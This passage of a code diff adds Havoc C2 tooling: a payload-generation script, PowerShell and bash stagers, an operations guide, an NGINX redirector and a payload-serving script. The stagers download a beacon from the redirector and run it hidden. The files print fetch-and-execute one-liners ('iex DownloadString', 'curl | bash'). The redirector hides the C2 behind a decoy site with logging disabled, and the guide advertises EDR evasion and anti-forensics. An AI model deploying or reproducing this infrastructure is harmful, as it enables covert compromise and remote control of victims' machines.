Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") +\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") +\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/") +\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output" +\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe" +try { + \$wc.DownloadFile(\$url, \$outpath) + Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) + Start-Process -WindowStyle Hidden -FilePath \$outpath +} catch { + # Fail silently +} +EOF + + # Bash stager + cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF +#!/bin/bash +# Linux download and execute Havoc beacon + +# Download binary to /tmp with random name +TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" +curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output +chmod +x \$TMPFILE + +# Execute in background +\$TMPFILE & + +echo "Update complete." +EOF + + chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh + + echo "[+] Stagers generated successfully" +} + +# Create manifest file +create_manifest() { + payload_info=$1 + win_output=$(echo $payload_info | cut -d':' -f1) + dll_output=$(echo $payload_info | cut -d':' -f2) + linux_output=$(echo $payload_info | cut -d':' -f3) + + cat > $PAYLOADS_DIR/manifest.json << EOF +{ + "windows_exe": "$win_output", + "windows_dll": "$dll_output", + "linux_binary": "$linux_output", + "redirector_host": "$REDIRECTOR_HOST", + "redirector_port": "$REDIRECTOR_PORT", + "c2_host": "$C2_HOST", + "generated_date": "$(date)" +} +EOF + + echo "[+] Manifest created successfully" +} + +# Create reference file +create_reference() { + payload_info=$1 + win_output=$(echo $payload_info | cut -d':' -f1) + dll_output=$(echo $payload_info | cut -d':' -f2) + linux_output=$(echo $payload_info | cut -d':' -f3) + + cat > $PAYLOADS_DIR/reference.txt << EOF +Havoc C2 Server Details: +- C2 IP: $C2_HOST +- Redirector Domain: $REDIRECTOR_HOST + +Payloads Generated ($(date)): +- Windows EXE: $win_output +- Windows DLL: $dll_output +- Linux Binary: $linux_output + +Usage: +1. Ensure your redirector is properly configured to forward requests to the C2 server +2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP +3. Test connectivity before deployment in target environment + +Payload deployment: +- PowerShell: + powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')" + +- Linux: + curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash +EOF + + echo "[+] Reference file created successfully" +} + +# Main execution flow +echo "[+] Starting Havoc C2 payload generation..." +echo "[+] Redirector: $REDIRECTOR_HOST" +echo "[+] C2 Host: $C2_HOST" + +# Create stagers directory +mkdir -p $PAYLOADS_DIR/stagers + +# Generate profiles +generate_profiles + +# Generate payloads +payload_info=$(generate_payloads) + +# Generate stagers +generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3) + +# Create manifest +create_manifest "$payload_info" + +# Create reference +create_reference "$payload_info" + +echo "[+] Havoc payload generation complete!" \ No newline at end of file diff --git a/templates/havoc-guide.j2 b/templates/havoc-guide.j2 new file mode 100644 index 0000000..a60c036 --- /dev/null +++ b/templates/havoc-guide.j2 @@ -0,0 +1,77 @@ +HAVOC C2 OPERATIONS GUIDE +========================== + +This guide provides information on using the Havoc C2 framework deployed on +your infrastructure. + +SERVER INFORMATION +----------------- +C2 Server IP: {{ c2_ip }} +Redirector Domain: {{ redirector_domain }} +Teamserver Port: 40056 +Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl + +CONNECTING TO THE TEAMSERVER +--------------------------- +From your local machine, you should: + +1. Make sure Havoc client is installed on your operator system +2. Connect to the Teamserver: + - Host: {{ c2_ip }} + - Port: 40056 + - User: admin + - Password: See /opt/havoc/data/profiles/default.yaotl + +Note: You can use the team server CLI with: +$ havoc-teamserver client --username admin --password Your_Password + +LISTENERS +-------- +Two default listeners are configured: +- HTTP on port 8080 +- HTTPS on port 443 (through the redirector) + +You can view and manage listeners through the Havoc client. + +GENERATING PAYLOADS +----------------- +Pre-generated payloads are available in: +- /opt/havoc/payloads/ + +For new payloads: +1. Connect to the Teamserver using the Havoc client +2. Navigate to Attack → Payload +3. Choose your payload options and generate + +PAYLOAD DELIVERY +-------------- +Payloads can be delivered through: +- HTTP server at {{ c2_ip }}:8443 +- Through the redirector at {{ redirector_domain }} + +PowerShell one-liner: +powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')" + +Linux one-liner: +curl -s https://{{ redirector_domain }}/linux_stager.sh | bash + +OPERATIONAL SECURITY +------------------ +- All connections go through the redirector +- Sleep times of agents are randomized (5s default with 30% jitter) +- Havoc is configured with numerous EDR evasion features +- Anti-forensics measures are enabled in all payloads + +TROUBLESHOOTING +-------------- +1. If agents can't connect: + - Verify DNS for {{ redirector_domain }} points to your redirector + - Check NGINX configuration on the redirector + - Ensure ports 8080 and 443 are open on respective servers + +2. If Havoc Teamserver isn't responding: + - Check service status: systemctl status havoc + - View logs: journalctl -u havoc + - Restart if needed: systemctl restart havoc + +3. Use the health command in Havoc client to check Teamserver health \ No newline at end of file diff --git a/templates/redirector-havoc-fragment.j2 b/templates/redirector-havoc-fragment.j2 new file mode 100644 index 0000000..6c4f3c6 --- /dev/null +++ b/templates/redirector-havoc-fragment.j2 @@ -0,0 +1,105 @@ +server { + listen 80; + listen [::]:80; + server_name {{ redirector_domain }}; + + # Redirect to HTTPS + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ redirector_domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem; + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + + # Root directory + root /var/www/html; + index index.html; + + # Primary location for legitimate website traffic + location / { + try_files $uri $uri/ =404; + } + + # Havoc C2 HTTP listener paths + location ~ ^/api/v[12]/ { + proxy_pass http://{{ c2_ip }}:8080; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } + + # Havoc C2 HTTPS listener paths + location ~ ^/(dashboard|content)/ { + proxy_pass https://{{ c2_ip }}:443; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_ssl_verify off; + } + + # Payload stager paths + location ~ ^/(windows|linux)_stager\.(ps1|sh)$ { + proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Payload content paths + location ~ ^/content/(windows|linux)/(.+)$ { + proxy_pass http://{{ c2_ip }}:8443/content/$1/$2; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Security headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; + + # Disable logging for this server block if zero-logs is enabled + {% if zero_logs | default(true) | bool %} + access_log off; + error_log /dev/null crit; + {% endif %} +} + +# Catch-all server block to respond to unknown hosts +server { + listen 80 default_server; + listen [::]:80 default_server; + listen 443 ssl default_server; + listen [::]:443 ssl default_server; + + # Self-signed cert for catch-all + ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; + ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + + # Redirect all unknown traffic to a legitimate-looking site + return 301 https://www.google.com; + + # Disable logs + access_log off; + error_log /dev/null crit; +} \ No newline at end of file diff --git a/templates/serve-havoc-payloads.sh.j2 b/templates/serve-havoc-payloads.sh.j2 new file mode 100644 index 0000000..a5987d2 --- /dev/null +++ b/templates/serve-havoc-payloads.sh.j2 @@ -0,0 +1,134 @@ +#!/bin/bash +# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh + +# Configuration +PAYLOADS_DIR="/root/Tools/havoc/payloads" +C2_HOST="{{ ansible_host }}" +LISTEN_PORT=8443 + +# Check if manifest file exists (created by generate_havoc_payloads.sh) +if [ -f "$PAYLOADS_DIR/manifest.json" ]; then + echo "[+] Found payload manifest file - using Havoc payloads generated previously" + # Extract payload paths from manifest + WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json") + WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json") + LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json") + + # Print payload info + echo "[+] Using these Havoc payloads:" + echo " - Windows EXE: $WIN_EXE" + echo " - Windows DLL: $WIN_DLL" + echo " - Linux Binary: $LINUX_BIN" +else + echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first." + echo "[!] Will search for payloads in $PAYLOADS_DIR..." + + # Try to find payloads directly + WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1) + WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1) + LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1) + + if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then + echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first." + exit 1 + fi + + # Extract just the filenames + WIN_EXE=$(basename "$WIN_EXE") + WIN_DLL=$(basename "$WIN_DLL") + LINUX_BIN=$(basename "$LINUX_BIN") +fi + +# Create temporary directory for web server +TEMP_DIR=$(mktemp -d) +mkdir -p $TEMP_DIR/content/windows +mkdir -p $TEMP_DIR/content/linux +mkdir -p $TEMP_DIR/scripts + +# Copy payloads to web directory +if [ -n "$WIN_EXE" ]; then + cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/ + echo "[+] Serving Windows EXE: $WIN_EXE" +fi + +if [ -n "$WIN_DLL" ]; then + cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/ + echo "[+] Serving Windows DLL: $WIN_DLL" +fi + +if [ -n "$LINUX_BIN" ]; then + cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/ + echo "[+] Serving Linux Binary: $LINUX_BIN" +fi + +# Copy stagers if they exist +if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then + cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1 + echo "[+] Serving Windows PowerShell stager" +fi + +if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then + cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh + echo "[+] Serving Linux bash stager" +fi + +# Create helpful index page +cat > $TEMP_DIR/index.html << EOL + + + + Havoc C2 Payload Downloads + + + +

Havoc C2 Payload Downloads

+
+

Available Payloads

+ +
+
+

Auto-Download Scripts

+ +
+
+

Quick Commands

+

Windows PowerShell:

+ powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')" +

Linux Bash:

+ curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash +
+ + +EOL + +# Start Python HTTP server in background +cd $TEMP_DIR +nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 & +SERVER_PID=$! +echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT" + +# Print useful information for the operator +echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/" +echo "[+] Available payloads:" +echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)" +echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)" +echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)" +echo "" +echo "[+] Quick PowerShell download command:" +echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\"" +echo "" +echo "[+] Quick Linux download command:" +echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash" \ No newline at end of file